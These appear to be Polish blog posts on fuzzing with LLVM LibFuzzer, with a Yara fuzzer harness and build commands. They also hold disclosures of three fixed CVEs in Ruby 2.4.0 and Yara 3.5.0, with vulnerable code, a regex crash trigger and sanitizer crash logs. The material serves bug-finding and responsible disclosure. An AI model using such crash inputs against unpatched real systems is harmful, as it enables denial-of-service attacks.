Dobre słowniki można znaleźć w następujących miejscach:

Leniwi czytelnicy mogą skorzystać z gotowego skryptu pozwalającego na wygenerowanie słownika na podstawie dostarczonej specyfikacji.

Rozmiar korpusu testowego

W większości przypadków im mniejsze pliki tym lepiej (aczkolwiek nie polecam obsesyjnie się tego trzymać). Nie ma sensu fuzzować biblioteki regex za pomocą przypadków testowych o rozmiarze 100KB i więcej. Polecam przetestować empirycznie własny fuzzer pod kątem wielkości pojedyńczego przypadku testowego – przełącznik “-max_len“.

Osobiście, po kilku iteracjach fuzzingu danego projektu, dzielę korpus testowy względem rozmiaru – pliki mniejsze niż 1, 2, 4… KB i sprawdzam jak wygląda pokrycie kodu dla danego rozmiaru. Następnie idę na rozsądny kompromis (przynajmniej tak mi się wydaje) pomiędzy pokryciem a rozmiarem 😉

Im wyższą wartość niepowodującą degradacji szybkości uda się nam znaleźć, tym otrzymamy lepsze pokrycie kodu.

Kod fuzzera

Tutaj pomoże ortodoksyjne trzymanie się zasady KISS (albo po polsku DUPA) 😉

Parę prostych wskazówek:

  • Nie inicjalizujmy za każdym razem (jeżeli nie musimy) mechanizmów fuzzowanej biblioteki
  • Korzystajmy ze stosu zamiast z alokacji na heapie – jest dużo szybszy. Dla przykładu wywołanie funkcji memstet() dla 1 MB zaalkokowanego na heapie to 5x wolniejsza operacja, od takiej samej, tylko, że na stosie
  • Zwalniajmy wszystkie zasoby, które są wykorzystywane podczas iteracji fuzzera. W przeciwnym razie pamięć RAM zostanie “zeżarta” na naszych oczach

Bardzo fajny przykład optymalizacji został przedstawiony na slajdach jednego z modułów warsztatu LibFuzzer Workshopzachęcam do zapoznania się z całym materiałem 🙂

Badanie pokrycia kodu

Przed uruchomieniem fuzzera warto sprawdzić w jakim stopniu nasz korpus testowy pokrywa badany przez nas kod. Niestety do tego będzie potrzebna ponowna kompilacja fuzzera, z innymi przełącznikami (tutaj na przykładzie fuzzera pcre2):


clang++ -std=c++11 pcre2_fuzzer.cc -I pcre/src -Wl,--whole-archive pcre/.libs/*.a -Wl,-no-whole-archive ~/Desktop/libFuzzer.a -O2 -fno-omit-frame-pointer -g -fsanitize=address -fsanitize-coverage=edge,indirect-calls,8bit-counters,trace-cmp,trace-div,trace-gep -o pcre2_fuzzer_coverage

Uwaga! Przełącznik 8bit-counters nie będzie wspierany. W przypadku chęci wykorzystania innych metod badania pokrycia warto wcześniej rzucić okiem na dokumentację SanCova (sporo metod pozostanie bez wsparcia i nie będą rozwijane).

Następnie odpalamy skompilowaną binarkę:

ASAN_OPTIONS=coverage=1 ./pcre2_fuzzer_coverage corpus_dir/ -runs=0

INFO: Seed: 3765786233
INFO: Loaded 0 modules (0 guards):
Loading corpus dir: regex_min/
Loaded 1024/8815 files from regex_min/
Loaded 2048/8815 files from regex_min/
Loaded 4096/8815 files from regex_min/
Loaded 8192/8815 files from regex_min/
INFO: -max_len is not provided, using 2035
#0    READ units: 8814
#2048    pulse  exec/s: 409 rss: 132Mb
#4096    pulse  exec/s: 178 rss: 143Mb
Slowest unit: 16 s:
artifact_prefix='./'; Test unit written to ./slow-unit-2c9a2da85c6b915818510370f6ff6680c8515d94
Slowest unit: 18 s:
artifact_prefix='./'; Test unit written to ./slow-unit-53e82f19e2337033fcc43d1c9da61da8e5ff90af
#8192    pulse  exec/s: 38 rss: 232Mb
#8814    INITED exec/s: 36 rss: 243Mb
ERROR: no interesting inputs were found. Is the code instrumented for coverage? Exiting.

Nie przejmujemy się komunikatem i dodajemy symbole do pliku .sancov :

sancov -symbolize pcre2_fuzzer_coverage pcre2_fuzzer_cov.18822.sancov > pcre2.symcov

Kolejnym krokiem jest odpalenie raportu w HTMLu dotyczący pokrycia kodu dla poszczególnych plików testowanego projektu:

python coverage-report-server.py --symcov pcre2.symcov --srcpath .

Efekt końcowy:

Wielowątkowość

Kiedy mamy już dobre pokrycie i szybki fuzzer warto odpalić go w kilku instancjach aby wycisnąć ostatnie soki i z fuzzera i z CPU 🙂

Libfuzzer ma, przynajmniej dla mnie, niecodzienny model zarządzania kilkoma instancjami. Składa się z dwóch części:

  • worker – przełącznik -workers, liczba równoległych instancji fuzzera – najczęściej taka sama jak liczba logicznych procesorów. Domyślnie jest to liczba logicznych CPU / 2
  • job – przełącznik -jobs, job jest rozumiany jako proces do znalezienia inputu powodującego awarię (crash, hang, brak pamięci, wyciek pamięci)

Uruchamiając fuzzer w poniższy sposób:

./myfuzzer -workers=4 -jobs=4 corpus_dir/

Znalezienie crasha spowoduje zabicie jednej instancji fuzzera i fuzzing na trzech lub mniejszej liczbie procesorów (w zależności od liczby znalezionych crashy). Czasami może okazać się, że nasze fuzzery przestały całkowicie pracować – dlatego polecam uruchamianie z dużo większą liczbą jobów:

./myfuzzer -workers=4 -jobs=4000 corpus_dir/

Spowoduje to “ciągły” fuzzing, tak jak w przypadku AFLa, który, moim zdaniem, w tej kwestii dużo lepiej podchodzi do problemu.

LLVM LibFuzzer – Fast track #1

Słowo wstępu

Dużo ostatnio było o podatnościach – straciłem rachubę ile było to postów pod rząd 😉

W tym poście chciałbym przybliżyć bardzo ciekawy projekt LLVM LibFuzzer, w którym poziom testowania przeniesiony jest na poziom funkcji a nie całych binarek. Oczywiście generuje to pewne problemy, jak i również ma wiele zalet – ale o tym za chwilę.

Jako rekomendację dodam, że LLVM LibFuzzer używany jest przez Google’a do testowania Chromium oraz innych projektów w ramach ClusterFuzz oraz OSS-Fuzz.

O co w ogóle chodzi?

Generalnie o to aby było szybko i efektywnie – LibFuzzer wykonuje cały proces fuzzowania w pamięci, bez dotykania HDD (chyba, że znajdzie crasha 😉 ). Dodatkowo wykorzystuje AddressSanitizer, MemorySanitizer oraz UndefinedBehaviorSanitizer, co pozwala wykrywać różne problemy z pamięcią programu, nawet jeżeli dostarczone dane nie spowodują całkowitej awarii w normalnej wersji programu (np. błędy typu out of bounds read).

Czym różni się to od persistent mode w American Fuzzy Lop?

Generalnie niczym – poza tym, że musimy sobie sami napisać fuzzer tego co chcemy testować (bez logiki “mieszania” danych wejściowych). W tym miejscu rada za 100 punktów: zwalniajmy pamięć w naszych fuzzerach – bardzo szybko jesteśmy w stanie wysycić cały dostępny RAM (mój osobisty rekord to 30 GB; domyślne ograniczenie to 2GB 😉 )

Całość wygląda jak na załączonym poniżej listingu (dla projektu Yara) – “mięso” zaczyna się w 19. linijce:

#include <stdlib.h>
#include <string>
#include <yara.h>

typedef struct COMPILER_RESULTS
{
  int errors;
  int warnings;
} COMPILER_RESULTS;

int callback(int message, void* message_data, void* user_data)
{
   return 0;
}

std::string file_path = "/usr/bin/strings";
int timeout = 1000000;

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
    COMPILER_RESULTS cr;
    YR_COMPILER* compiler = NULL;
    YR_RULES* rules = NULL;
    std::string s(reinterpret_cast<const char *>(Data), Size);
    
    yr_initialize();
    
    if (yr_compiler_create(&compiler) != ERROR_SUCCESS){
	return 0;
    }
    
    if (yr_compiler_add_string(compiler, s.c_str(), NULL) == 0)
    {
        if (yr_compiler_get_rules(compiler, &rules) == ERROR_SUCCESS)
        {

	    yr_rules_scan_file(rules,
		               file_path.c_str(),
		               0,
		               callback,
		               NULL,
		               timeout);

        }
    }
  
    if(compiler != NULL) {
    	yr_compiler_destroy(compiler);  
    }
    
    if(rules != NULL) {
    	yr_rules_destroy(rules);
    }
    
    yr_finalize();
    return 0;
}

Dużo przykładów gotowych fuzzerów dla projektów open-source można znaleźć tutaj i tutaj.

A tutaj pełen tutorial w przypadku, kiedy mamy już pomysły na własne fuzzery 🙂

Chcę to mieć, jak to zrobić?

Jedynym wymaganiem jest skomplilowanie testowanego projektu wraz Clangiem 5.0 i odpowiednimi flagami. Działać będziemy na wcześniej wspomnianym projekcie Yara.

Pobieramy najnowszego Clanga (skrypt tutaj):

mkdir TMP_CLANG
cd TMP_CLANG
git clone https://chromium.googlesource.com/chromium/src/tools/clang
cd ..
TMP_CLANG/clang/scripts/update.py
sudo cp -rf  third_party/llvm-build/Release+Asserts/lib/clang /usr/local/lib/
sudo cp -rf third_party/llvm-build/Release+Asserts/bin/* /usr/local/bin

Ściągamy najnowszą wersję LibFuzzera:

svn co http://llvm.org/svn/llvm-project/llvm/trunk/lib/Fuzzer 
./Fuzzer/build.sh

Klonujemy repozytorium Yary i kompilujemy ją z odpowiednimi flagami:

git clone https://github.com/VirusTotal/yara
cd yara
./bootstrap.sh
CC=clang -O2 -fno-omit-frame-pointer -g -fsanitize=address -fsanitize-coverage=trace-pc-guard,trace-cmp,trace-gep,trace-div ./configure
make

W tym miejscu na chwilę przerwiemy działanie w trybie copy & paste i wyjaśnię do czego służą w/w flagi Clanga:

  • -fno-omit-frame-pointer – “ładne” stack-trace’y
  • -fsanitize=address – włączenie AddressSanitizera
  • -fsanitize-coverage – włączenie obsługi badania pokrycia kodu (SanitizerCoverage) – drugi post będzie całkowicie poświęcony temu zagadnieniu
    • trace-pc-guard – podstawowa metoda badania code coverage’u dla fuzzera, brak tej opcji powoduje niemożność korzystania z LibFuzzera
    • trace-cmp – śledzenie zmian flow programu podczas instrukcji porównania oraz switch
    • trace-div – śledzenie argumentów dzielenia liczb całkowitych
    • trace-gep – śledzenie indeksów w buforach (dla dociekliwych czytelników)

Klonujemy repozytorium z gotowym korpusem testowym dla Yary:

git clone https://github.com/fumfel/yara-fuzzing-corpus

Kompilujemy fuzzer z wcześniejszej części posta (zwracam kolejny raz uwagę na flagi kompilacji):

clang++ -std=c++11 yara_fuzzer.cc -Iyara/libyara/include/ ./yara/libyara/.libs/libyara.a ./libFuzzer.a -O2 -fno-omit-frame-pointer -g -fsanitize=address -fsanitize-coverage=trace-pc-guard,trace-cmp,trace-gep,trace-div -lcrypto -lssl -o yara_fuzzer

Minimalizujemy korpus (przełącznik -merge=1) – nie wszystkie przypadki testowe są użyteczne:

» ./yara_fuzzer -merge=1  yara-fuzzing-corpus-min/ yara-fuzzing-corpus/
INFO: Seed: 1335465087
INFO: Loaded 1 modules (33 guards): [0x86adf0, 0x86ae74), 
INFO: -max_len is not provided, using 1048576
MERGE-OUTER: 1114 files, 0 in the initial corpus
MERGE-OUTER: attempt 1
INFO: Seed: 1356956865
INFO: Loaded 1 modules (33 guards): [0x86adf0, 0x86ae74), 
INFO: -max_len is not provided, using 1048576
MERGE-INNER: using the control file '/tmp/libFuzzerTemp.4178.txt'
MERGE-INNER: 1114 total files; 0 processed earlier; will process 1114 files now
#1	pulse  cov: 13 exec/s: 0 rss: 33Mb
#2	pulse  cov: 13 exec/s: 0 rss: 33Mb
#4	pulse  cov: 13 exec/s: 0 rss: 34Mb
#8	pulse  cov: 13 exec/s: 0 rss: 36Mb
#16	pulse  cov: 13 exec/s: 0 rss: 40Mb
#32	pulse  cov: 21 exec/s: 0 rss: 47Mb
#64	pulse  cov: 21 exec/s: 0 rss: 63Mb
#128	pulse  cov: 21 exec/s: 0 rss: 92Mb
#256	pulse  cov: 21 exec/s: 0 rss: 151Mb
#256	pulse  cov: 21 exec/s: 128 rss: 311Mb
#512	pulse  cov: 21 exec/s: 256 rss: 311Mb
#1024	pulse  cov: 21 exec/s: 381 rss: 311Mb
MERGE-OUTER: the control file has 139186 bytes
MERGE-OUTER: consumed 0Mb (31Mb rss) to parse the control file
MERGE-OUTER: 6 new files with 23 new features added

Jak widać wstępny korpus generalnie jest słaby (niska wartość parametru pokrycia kodu “cov” – 23), lecz nie przejmujemy się tym i odpalamy fuzzer 🙂

Parametry:

  • -detect_leaks=0 – nie “łapiemy” wycieków pamięci
  • -max_total_time=60 – czas działania fuzzera w sekundach
  • -print_final_stats=1 – wyświetlenie podumowania pracy
» ./yara_fuzzer -detect_leaks=0 -max_total_time=60 -print_final_stats=1 yara-fuzzing-corpus-min/
INFO: Seed: 3862824616
INFO: Loaded 1 modules (33 guards): [0x86adf0, 0x86ae74), 
Loading corpus dir: yara-fuzzing-corpus-min/
INFO: -max_len is not provided, using 220
#0	READ units: 7
#7	INITED cov: 23 ft: 24 corp: 7/382b exec/s: 0 rss: 38Mb
#8192	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2730 rss: 184Mb
#16384	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2730 rss: 192Mb
#32768	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2520 rss: 202Mb
#65536	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2340 rss: 210Mb
#131072	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2299 rss: 213Mb
#137987	DONE   cov: 23 ft: 24 corp: 7/382b exec/s: 2262 rss: 216Mb
Done 137987 runs in 61 second(s)
stat::number_of_executed_units: 137987
stat::average_exec_per_sec:     2262
stat::new_units_added:          0
stat::slowest_unit_time_sec:    0
stat::peak_rss_mb:              216

To by było na tyle w tej części – umiemy już odpalać fuzzery oraz wiemy jak wyglądają.

W kolejnej odsłonie fast tracka przedstawię badanie pokrycia kodu za pomocą SanitizerCoverage oraz tuning efektywności fuzzera 🙂

[CVE-2017-6181] Ruby 2.4.0 – Stack Overflow

Słowo wstępu

Chwila odpoczynku od projektów wykorzystywanych w branży bezpieczeństwa – dzisiejszym targetem jest interpreter języka Ruby, podstawy popularnego frameworka webowego Ruby on Rails – obecnego w kodzie takich serwisów jak GitHub, BaseCamp, AirBnb czy Twitch.

Krótki opis podatności

Błąd znajdował się w wersji 2.4.0, a więc na dzień pisania posta ostatniej stabilnej (Git HEAD: fbd5cda6aad6db01bbca3d893a9970314a1bd52c).

Funkcja parsująca wyrażenie regularne, przed sprawdzeniem głębokości wyrażenia regularnego, nie inicjalizowała zwracanej wartości, tylko tuż za nim (sprawdzeniem). Powodowało to przy odpowiednio “dużym” wyrażeniu regularnym za dużą alokację ilości ramek stosu dla rekurencyjnie wywoływanej funkcji i w konsekwencji jego przepełnienie.

Naprawa tego błędu była bardzo prosta i polegała na przeniesieniu linijki odpowiedzialnej za inicjalizację zmiennej o 4 linie w górę.

Poniżej podatna funkcja z zaznaczonym błędem:

static int
parse_char_class(Node** np, Node** asc_np, OnigToken* tok, UChar** src, UChar* end,
		 ScanEnv* env)
{
  int r, neg, len, fetched, and_start;
  OnigCodePoint v, vs;
  UChar *p;
  Node* node;
  Node* asc_node;
  CClassNode *cc, *prev_cc;
  CClassNode *asc_cc, *asc_prev_cc;
  CClassNode work_cc, asc_work_cc;

  enum CCSTATE state;
  enum CCVALTYPE val_type, in_type;
  int val_israw, in_israw;
 
  env->parse_depth++;
  if (env->parse_depth > ParseDepthLimit)
    return ONIGERR_PARSE_DEPTH_LIMIT_OVER;
  prev_cc = asc_prev_cc = (CClassNode* )NULL;
  *np = *asc_np = NULL_NODE;
  r = fetch_token_in_cc(tok, src, end, env);
  if (r == TK_CHAR && tok->u.c == '^' && tok->escaped == 0) {
    neg = 1;
    r = fetch_token_in_cc(tok, src, end, env);
  }
  else {
    neg = 0;
}

Payload triggerujący tą lukę był bardzo prosty – 4096 razy ‘[‘ w wyrażeniu regularnym Ruby.

Log błędu:


[BUG] Segmentation fault at 0x00006e0000005b
ruby 2.5.0dev (2017-02-18 trunk 57652) [x86_64-linux]

-- Control frame information -----------------------------------------------
c:0001 p:0000 s:0003 E:000c70 (none) [FINISH]


-- Machine register context ------------------------------------------------
RIP: 0x0000562fdcb53209 RBP: 0x0000562fdcf929b0 RSP: 0x00007ffea4154b40
RAX: 0x0000000000002431 RBX: 0x0000000000000000 RCX: 0x0000562fdcfa32d0
RDX: 0x00007ffea4294c30 RDI: 0x0000006e0000005b RSI: 0x00007ffea4154c10
R8: 0x0000562fddd7422a  R9: 0x0000562fdcf929b0 R10: 0x00007f977f639ba8
R11: 0x0000000000000001 R12: 0x0000562fdcf929b0 R13: 0x0000006e0000005b
R14: 0x0000562fdccf5aa0 R15: 0xfffffffffffffffc EFL: 0x0000000000010202

-- C level backtrace information -------------------------------------------
/XYZ/ruby/miniruby(rb_vm_bugreport+0x2b7) [0x562fdccbc2f7] vm_dump.c:683
/XYZ/ruby/miniruby(rb_bug_context+0x2e6) [0x562fdc981a86] error.c:520
/XYZ/ruby/miniruby(sigsegv+0x6a) [0x562fdcb842fa] signal.c:907
/lib/x86_64-linux-gnu/libpthread.so.0 [0x7f977fd95390]
/XYZ/ruby/miniruby(onig_node_free+0x79) [0x562fdcb53209] regparse.c:1065
/XYZ/ruby/miniruby(parse_char_class+0x28ae) [0x562fdcb6c08e] regparse.c:4824
/XYZ/ruby/miniruby(parse_char_class+0x2194) [0x562fdcb6b974] regparse.c:4814
=================== SNIP (1015 wierszy) ===================
/XYZ/ruby/miniruby(parse_char_class+0x2194) [0x562fdcb6b974] regparse.c:4814
/XYZ/ruby/miniruby(parse_char_class+0x2194) [0x562fdcb6b974] regparse.c:4814

-- Other runtime information -----------------------------------------------

* Loaded script: id:000000,sig:06,src:000106+002150,op:splice,rep:128

* Loaded features:

0 enumerator.so
1 thread.rb
2 rational.so
3 complex.so

* Process memory map:

562fdc86c000-562fdcd8d000 r-xp 00000000 fc:00 849526
/XYZ/ruby/miniruby
562fdcf8c000-562fdcf92000 r--p 00520000 fc:00 849526
/XYZ/ruby/miniruby
562fdcf92000-562fdcf93000 rw-p 00526000 fc:00 849526
/XYZ/ruby/miniruby
562fdcf93000-562fdcfb4000 rw-p 00000000 00:00 0
562fddc4d000-562fddde4000 rw-p 00000000 00:00 0
[heap]
7f977e13d000-7f977ed88000 r--s 00000000 fc:00 849526
/XYZ/ruby/miniruby
7f977ed88000-7f977ed9e000 r-xp 00000000 fc:00 392981
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f977ed9e000-7f977ef9d000 ---p 00016000 fc:00 392981
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f977ef9d000-7f977ef9e000 rw-p 00015000 fc:00 392981
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f977ef9e000-7f977f276000 r--p 00000000 fc:00 6318
/usr/lib/locale/locale-archive
7f977f276000-7f977f435000 r-xp 00000000 fc:00 415253
/lib/x86_64-linux-gnu/libc-2.23.so
7f977f435000-7f977f635000 ---p 001bf000 fc:00 415253
/lib/x86_64-linux-gnu/libc-2.23.so
7f977f635000-7f977f639000 r--p 001bf000 fc:00 415253
/lib/x86_64-linux-gnu/libc-2.23.so
7f977f639000-7f977f63b000 rw-p 001c3000 fc:00 415253
/lib/x86_64-linux-gnu/libc-2.23.so
7f977f63b000-7f977f63f000 rw-p 00000000 00:00 0
7f977f63f000-7f977f747000 r-xp 00000000 fc:00 415258
/lib/x86_64-linux-gnu/libm-2.23.so
7f977f747000-7f977f946000 ---p 00108000 fc:00 415258
/lib/x86_64-linux-gnu/libm-2.23.so
7f977f946000-7f977f947000 r--p 00107000 fc:00 415258
/lib/x86_64-linux-gnu/libm-2.23.so
7f977f947000-7f977f948000 rw-p 00108000 fc:00 415258
/lib/x86_64-linux-gnu/libm-2.23.so
7f977f948000-7f977f951000 r-xp 00000000 fc:00 415255
/lib/x86_64-linux-gnu/libcrypt-2.23.so
7f977f951000-7f977fb50000 ---p 00009000 fc:00 415255
/lib/x86_64-linux-gnu/libcrypt-2.23.so
7f977fb50000-7f977fb51000 r--p 00008000 fc:00 415255
/lib/x86_64-linux-gnu/libcrypt-2.23.so
7f977fb51000-7f977fb52000 rw-p 00009000 fc:00 415255
/lib/x86_64-linux-gnu/libcrypt-2.23.so
7f977fb52000-7f977fb80000 rw-p 00000000 00:00 0
7f977fb80000-7f977fb83000 r-xp 00000000 fc:00 415252
/lib/x86_64-linux-gnu/libdl-2.23.so
7f977fb83000-7f977fd82000 ---p 00003000 fc:00 415252
/lib/x86_64-linux-gnu/libdl-2.23.so
7f977fd82000-7f977fd83000 r--p 00002000 fc:00 415252
/lib/x86_64-linux-gnu/libdl-2.23.so
7f977fd83000-7f977fd84000 rw-p 00003000 fc:00 415252
/lib/x86_64-linux-gnu/libdl-2.23.so
7f977fd84000-7f977fd9c000 r-xp 00000000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f977fd9c000-7f977ff9b000 ---p 00018000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f977ff9b000-7f977ff9c000 r--p 00017000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f977ff9c000-7f977ff9d000 rw-p 00018000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f977ff9d000-7f977ffa1000 rw-p 00000000 00:00 0
7f977ffa1000-7f977ffc7000 r-xp 00000000 fc:00 394124
/lib/x86_64-linux-gnu/ld-2.23.so
7f9780095000-7f97800b7000 r--s 00000000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f97800b7000-7f97801bc000 rw-p 00000000 00:00 0
7f97801c0000-7f97801c1000 ---p 00000000 00:00 0
7f97801c1000-7f97801c6000 rw-p 00000000 00:00 0
7f97801c6000-7f97801c7000 r--p 00025000 fc:00 394124
/lib/x86_64-linux-gnu/ld-2.23.so
7f97801c7000-7f97801c8000 rw-p 00026000 fc:00 394124
/lib/x86_64-linux-gnu/ld-2.23.so
7f97801c8000-7f97801c9000 rw-p 00000000 00:00 0
7ffea3a99000-7ffea4298000 rw-p 00000000 00:00 0
[stack]
7ffea42fa000-7ffea42fc000 r--p 00000000 00:00 0
[vvar]
7ffea42fc000-7ffea42fe000 r-xp 00000000 00:00 0
[vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
[vsyscall]


[NOTE]
You may have encountered a bug in the Ruby interpreter or extension
libraries.
Bug reports are welcome.
For details: http://www.ruby-lang.org/bugreport.html

Issue #13234 na Redmine projektu

Commit naprawiający: ea940cc4dcff8d6c345d7015eda0bf06671f87e9

CVE: CVE-2017-6181

[CVE-2017-5924] Yara 3.5.0 – Use after free #2

Słowo wstępu

Kolejny tydzień – kolejne use-after-free w Yarze 🙂

Dla osób które nie znają backgroundu lub chciałyby dowiedzieć się więcej o “moich” błędach w tym projekcie – odsyłam tutaj i tutaj.

Krótki opis podatności

Błąd znajdował się w wersji 3.5.0 (Git HEAD: 890c3f850293176c0e996a602ffa88b315f4e98f) – jest to commit naprawiający poprzednie use-after-free.

Biblioteka LibYara nie sprawdzała czy głębokość wyrażenia w regule Yara jest większa od zera – zakładała zawsze, że tak jest. Powodowało to oczywisty problem wyjścia poza zakres zaalokowanej pamięci w przypadku wartości mniejszych lub równych zero (stary, dobry Integer Underflow).

Problem widać wyraźnie w poniższym fragmencie pliku yara/libyara/grammar.y:

 | _FOR_ for_expression error
      {
        compiler->loop_depth--;
        compiler->loop_identifier[compiler->loop_depth] = NULL;
}

Natomiast do samego użycia zwolnionej pamięci dochodziło w trakcie pracy destruktora w kompilatorze reguł. Za każdą iteracją pętli zwalniana była część pamięci wykraczająca poza obszar zarezerwowany do danego wyrażenia.

W pewnym momencie (w zależności od długości wyrażenia w regule Yara) dochodziło do sytuacji w której pamięć dla następnego wyrażenia została zwolniona, a destruktor próbował odczytać ją jako następny element w liście (zaznaczona poniżej linijka w pliku yara/libyara/compiler.c).

  for (i = 0; i < compiler->file_name_stack_ptr; i++)
    yr_free(compiler->file_name_stack[i]);

  fixup = compiler->fixup_stack_head;

  while (fixup != NULL)
  {
    YR_FIXUP* next_fixup = fixup->next;
    yr_free(fixup);
    fixup = next_fixup;
  }
yr_free(compiler);

Log z ASAN:

==10220==ERROR: AddressSanitizer: heap-use-after-free on address 0x63100003c862 at pc 0x0000004ef7f5 bp 0x7ffc9082a5d0 sp 0x7ffc9082a5c8
READ of size 8 at 0x63100003c862 thread T0
    #0 0x4ef7f4 in yr_compiler_destroy XYZ/yara/libyara/compiler.c:165:35
    #1 0x4ede04 in main XYZ/yara/yara.c:1242:5
    #2 0x7f05302fa82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #3 0x41a408 in _start (/usr/local/bin/yara+0x41a408)

0x63100003c862 is located 98 bytes inside of 65536-byte region [0x63100003c800,0x63100004c800)
freed by thread T0 here:
    #0 0x4b88cb in __interceptor_free /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x587ab3 in yr_arena_destroy XYZ/yara/libyara/arena.c:300:5
    #2 0x7f05302fa82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x4b8c1c in malloc /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
    #1 0x58774f in _yr_arena_new_page XYZ/yara/libyara/arena.c:92:34
    #2 0x58774f in yr_arena_create XYZ/yara/libyara/arena.c:246

SUMMARY: AddressSanitizer: heap-use-after-free XYZ/yara/libyara/compiler.c:165:35 in yr_compiler_destroy
Shadow bytes around the buggy address:
  0x0c627ffff8b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627ffff8c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627ffff8d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627ffff8e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627ffff8f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c627ffff900: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd
  0x0c627ffff910: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c627ffff920: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c627ffff930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c627ffff940: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c627ffff950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==10220==ABORTING

Issue #593 na GitHubie

Commit naprawiający: 7f02eca670f29c00a1d2c305e96febae6ce5d37b

CVE: CVE-2017-5924

[CVE-2016-10211] Yara 3.5.0 – Use after free #1

Słowo wstępu

Kontyunuując temat niebezpiecznych narzędzi (w ostatniej odsłonie było radare2) dla osób związanych z bezpieczeństwem IT – kolejny już wpis o Yarze. Temat motywacji testów oraz funkcjonalności projektu opisałem we wcześniejszym poście, więc oszczędze przynudzania czytelnikom 🙂

Krótki opis podatności

Błąd znajdował się w wersji 3.5.0 (Git HEAD: 779b9a77aa4377152a5cba031255029afb0c19a5).

LibYara w poszukiwaniu identyfikatorów w regułce, przekracza zakres zaalokowanego na nie miejsca i próbuje odczytać adres z pamięci w którym znajdowały się wcześniej wyrażenia regularne.

Rzucając okiem na commita naprawiającego widać wyraźnie, że parsując gramatyki za pomocą YACC trzeba ostrożnie podchodzić do zarządzania pamięcią 😉

Log z ASAN:

==17551==ERROR: AddressSanitizer: heap-use-after-free on address 0x60200000ed50 at pc 0x000000425ff6 bp 0x7fff57ebe190 sp 0x7fff57ebd920
READ of size 1 at 0x60200000ed50 thread T0
    #0 0x425ff5 in __interceptor_strcmp /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:284:3
    #1 0x5a85cf in yr_parser_lookup_loop_variable XYZ/yara/libyara/parser.c:282:9
    #2 0x57536e in yara_yyparse XYZ/yara/libyara/grammar.y:569:25
    #3 0x50c3d0 in yr_lex_parse_rules_file XYZ/yara/libyara/lexer.l:815:3
    #4 0x4f097e in yr_compiler_add_file XYZ/yara/libyara/compiler.c:357:12
    #5 0x4ee0c4 in main XYZ/yara/yara.c:1124:17
    #6 0x7fe78bf2982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x41a408 in _start (/usr/local/bin/yara+0x41a408)

0x60200000ed50 is located 0 bytes inside of 2-byte region [0x60200000ed50,0x60200000ed52)
freed by thread T0 here:
    #0 0x4b88cb in __interceptor_free /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x580ac8 in yydestruct XYZ/yara/libyara/grammar.y:202:9
    #2 0x50c3d0 in yr_lex_parse_rules_file XYZ/yara/libyara/lexer.l:815:3

previously allocated by thread T0 here:
    #0 0x4a59f6 in __strdup /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:578:3
    #1 0x4ff501 in yara_yylex XYZ/yara/libyara/lexer.l:438:22
    #2 0x573528 in yara_yyparse XYZ/yara/libyara/grammar.c:1573:16
    #3 0x50c3d0 in yr_lex_parse_rules_file XYZ/yara/libyara/lexer.l:815:3

SUMMARY: AddressSanitizer: heap-use-after-free /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:284:3 in __interceptor_strcmp
Shadow bytes around the buggy address:
  0x0c047fff9d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9d70: fa fa fa fa fa fa fa fa fa fa 02 fa fa fa 00 fa
  0x0c047fff9d80: fa fa 01 fa fa fa 00 00 fa fa 00 00 fa fa 00 00
